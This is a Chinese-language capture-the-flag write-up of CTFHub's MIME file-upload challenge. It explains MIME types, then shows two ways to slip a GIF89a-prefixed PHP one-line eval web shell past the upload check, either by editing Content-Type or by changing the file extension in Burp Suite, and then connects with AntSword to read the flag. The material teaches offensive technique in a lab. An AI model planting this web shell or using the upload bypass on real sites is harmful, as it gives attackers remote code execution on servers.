CTFHub 文件上传-MIME
目录
一、MIME
1、基本概念
2、MIME类型
3、MIME 在文件上传中的工作流程
二、渗透实战(传PHP后缀,改MIME)
1、构建脚本
2、进入靶场
3、bp设置inception on
4、上传文件
5、bp拦截报文
6、修改MIME值并发包
(1)法1:直接在inception界面改
(2)法2:发送到repeater改
7、构造脚本URL地址并访问
8、连接蚁剑
9、获取flag
三、渗透实战(传GIF后缀,改文件后缀)
1、构建脚本
2、进入靶场
3、bp设置inception on
4、上传mooyuan.gif
5、bp拦截报文
6、修改后缀并发包
7、构造脚本URL地址并访问
8、连接蚁剑
9、获取flag
本文讲解CTFHub的文件上传“MIME”关卡的原理分析与渗透实战流程。首先讲解了MIME的基本概念及其在文件上传中的作用,随后通过两种实战方案演示渗透过程:1)上传PHP文件并修改MIME为image/gif;2)上传GIF文件后修改为PHP后缀。两种方法均通过BurpSuite拦截修改请求,利用蚁剑连接获取flag。文中详细说明了木马脚本构造、请求拦截修改、蚁剑配置等关键步骤,最终成功获取flag:ctfhub{705cbb45e55ba0426a5b12f8}。
一、MIME
1、基本概念
MIME(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展类型)是一种标准,用来标识文档、文件或字节流的性质和格式。它的主要作用是让客户端(如浏览器)和服务器能够识别正在传输的数据到底是什么类型,从而用正确的应用程序来打开或处理它。例如,服务器告诉浏览器“这是一个PDF文件”,浏览器就会调用PDF阅读器;“这是一个JPEG图片”,浏览器就会渲染显示它。
2、MIME类型
MIME 通过 “主类型 / 子类型” 的结构化字符串来定义内容类型,格式为type/subtype
,同时可搭配 “参数” 补充细节(如编码方式、文件名称)。
常见 MIME 类型示例:
内容类型 | MIME 标识 | 说明 |
---|---|---|
纯文本 | text/plain | 普通文本(默认 ASCII 编码) |
HTML 网页 | text/html | 浏览器需按 HTML 规则渲染 |
JPG 图片 | image/jpeg | 二进制图像文件 |
MP3 音频 | audio/mpeg | 音频文件 |
ZIP 压缩包 | application/zip | 二进制压缩文件 |
表单提交数据 | application/x-www-form-urlencoded | POST 表单默认编码 |
3、MIME 在文件上传中的工作流程
在文件上传场景中,MIME类型出现在两个关键位置:
-
客户端(浏览器):
-
当你在网页上选择了一个文件并点击上传时,浏览器会读取该文件的扩展名和一些元数据,并根据一个内置的映射表,自动设置好该文件的MIME类型。
-
这个MIME类型会被放入HTTP请求头的
Content-Type
字段中。
-
-
HTTP请求:
-
上传文件时,浏览器会构造一个
multipart/form-data
格式的POST请求。 -
这个请求的每个部分都包含一个
Content-Type
头,用于说明该部分数据的类型。对于文件部分,这个值就是浏览器判断出的MIME类型。
-
-
服务器端:
-
服务器接收到上传请求后,从
Content-Type
头中获取到客户端声称的文件MIME类型。 -
服务器端的验证代码可能会检查这个值,来判断是否允许该文件上传。
-
二、渗透实战(传PHP后缀,改MIME)
1、构建脚本
新建一个存放着一句话木马的php文件,脚本名为mooyuan.php.
GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>
这个脚本的特点是在木马脚本的首部添加GIF89a,文件内容开头为 GIF89a,使脚本满足GIF格式的文件头签名。接下来
使用文本编辑器打开,我这里用的是ultraedit工具,打开后效果如下所示。
GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是 47 49 46 38 39 61
,对应 ASCII 字符就是 GIF89a
。右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。
2、进入靶场
如下所示,将靶场URL复制到浏览器的地址栏访问后,发现这是一个文件上传关卡,主要通过检查MIME判断是否为合法的图片。
http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/
3、bp设置inception on
启动Burp Suite并设置浏览器代理,同时burpsuite的inception设置为on状态。
4、上传文件
浏览选中mooyuan.php并点击submit上传文件
5、bp拦截报文
如下图所示,这就是我们要上传的文件mooyuan.php,此时需要修改MIME。因为这个报文当前满足文件头标识是GIF的情况,但是MIME类型不是图片,修改为image/gif。
6、修改MIME值并发包
修改MIME有两种方法,一种是直接在inception界面修改,另一种则是repeater中修改,具体如下所示。
(1)法1:直接在inception界面改
修改完成后,在Burp Suite中点击inception on放行数据包。
上传后提示上传成功并给出上传路径,如下所示。
(2)法2:发送到repeater改
如下所示修改完毕点击send,服务器提示上传成功并给出路径。
7、构造脚本URL地址并访问
构造木马脚本URL后,访问木马并POST命令发送执行phpinfo命令 ,观察执行效果知其成功显示php版本号,证明渗透成功,具体如下所示。
靶场路径 http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/
上传路径 upload/mooyuan.php
对两者进行拼接,如下所示:
脚本地址:http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/upload/mooyuan.php
POST内容:ljn=phpinfo();
8、连接蚁剑
配置并连接蚁剑,具体步骤和URL脚本地址、密码、和连接效果如下所示。
-
打开蚁剑,右键选择"添加数据"。
-
在"URL"地址中填写上传木马文件的完整路径。
-
在"连接密码"中填写WebShell中定义的密码(本文中为
ljn
)。 -
其他设置可保持默认,点击"测试连接"。提示成功后,点击添加数据。
地址:http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/upload/mooyuan.php
密码:ljn
点击添加后效果如下所示,接下来我们需要进入文件系统中寻找flag文件,通常情况下flag文件常位于网站的根目录(如/var/www/html
)。
在蚁剑中双击新添加的连接或追右键点击文件管理,进入靶场的文件系统中。F
9、获取flag
在/var/www/html文件夹(也就是网址的根目录)中找到了flag文件,如下所示。
成功获取flag:ctfhub{705cbb45e55ba0426a5b12f8}
三、渗透实战(传GIF后缀,改文件后缀)
1、构建脚本
新建一个存放着一句话木马的php文件,脚本名为mooyuan.php.
GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>
这个脚本的特点是在木马脚本的首部添加GIF89a,文件内容开头为 GIF89a,使脚本满足GIF格式的文件头签名。复制mooyuan.php并重命名为mooyuan.gif,使用记事本打开mooyuan.gif效果如下所示。
GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是 47 49 46 38 39 61
,对应 ASCII 字符就是 GIF89a
。使用ultraedit打开mooyuan.gif,右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。
2、进入靶场
如下所示,将靶场URL复制到浏览器的地址栏访问后,发现这是一个文件上传关卡,主要通过检测文件头判断是否为合法的图片。
http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/
3、bp设置inception on
启动Burp Suite并设置浏览器代理,同时burpsuite的inception设置为on状态。
4、上传mooyuan.gif
5、bp拦截报文
如下图所示,这就是我们要上传的文件mooyuan.gif,此时需要修改文件后缀,改为mooyuan.php。
6、修改后缀并发包
修改完成后,在Burp Suite中点击inception on放行数据包。
上传后提示上传成功并给出上传路径,如下所示。
上传路径为upload/mooyuan.php,具体如下所示。
7、构造脚本URL地址并访问
构造木马脚本URL后,访问木马并POST命令发送执行phpinfo命令 ,观察执行效果知其成功显示php版本号,证明渗透成功,具体如下所示。
靶场路径 http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/
上传路径 upload/mooyuan.php
对两者进行拼接,如下所示:
脚本地址:http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/upload/mooyuan.php
POST内容:ljn=phpinfo();
8、连接蚁剑
配置并连接蚁剑,具体步骤和URL脚本地址、密码、和连接效果如下所示。
-
打开蚁剑,右键选择"添加数据"。
-
在"URL"地址中填写上传木马文件的完整路径。
-
在"连接密码"中填写WebShell中定义的密码(本文中为
ljn
)。 -
其他设置可保持默认,点击"测试连接"。提示成功后,点击添加数据。
地址:http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/upload/mooyuan.php
密码:ljn
点击添加后效果如下所示,接下来我们需要进入文件系统中寻找flag文件,通常情况下flag文件常位于网站的根目录(如/var/www/html
)。
在蚁剑中双击新添加的连接或追右键点击文件管理,进入靶场的文件系统中。F
9、获取flag
在/var/www/html文件夹(也就是网址的根目录)中找到了flag文件,如下所示。
成功获取flag:ctfhub{705cbb45e55ba0426a5b12f8}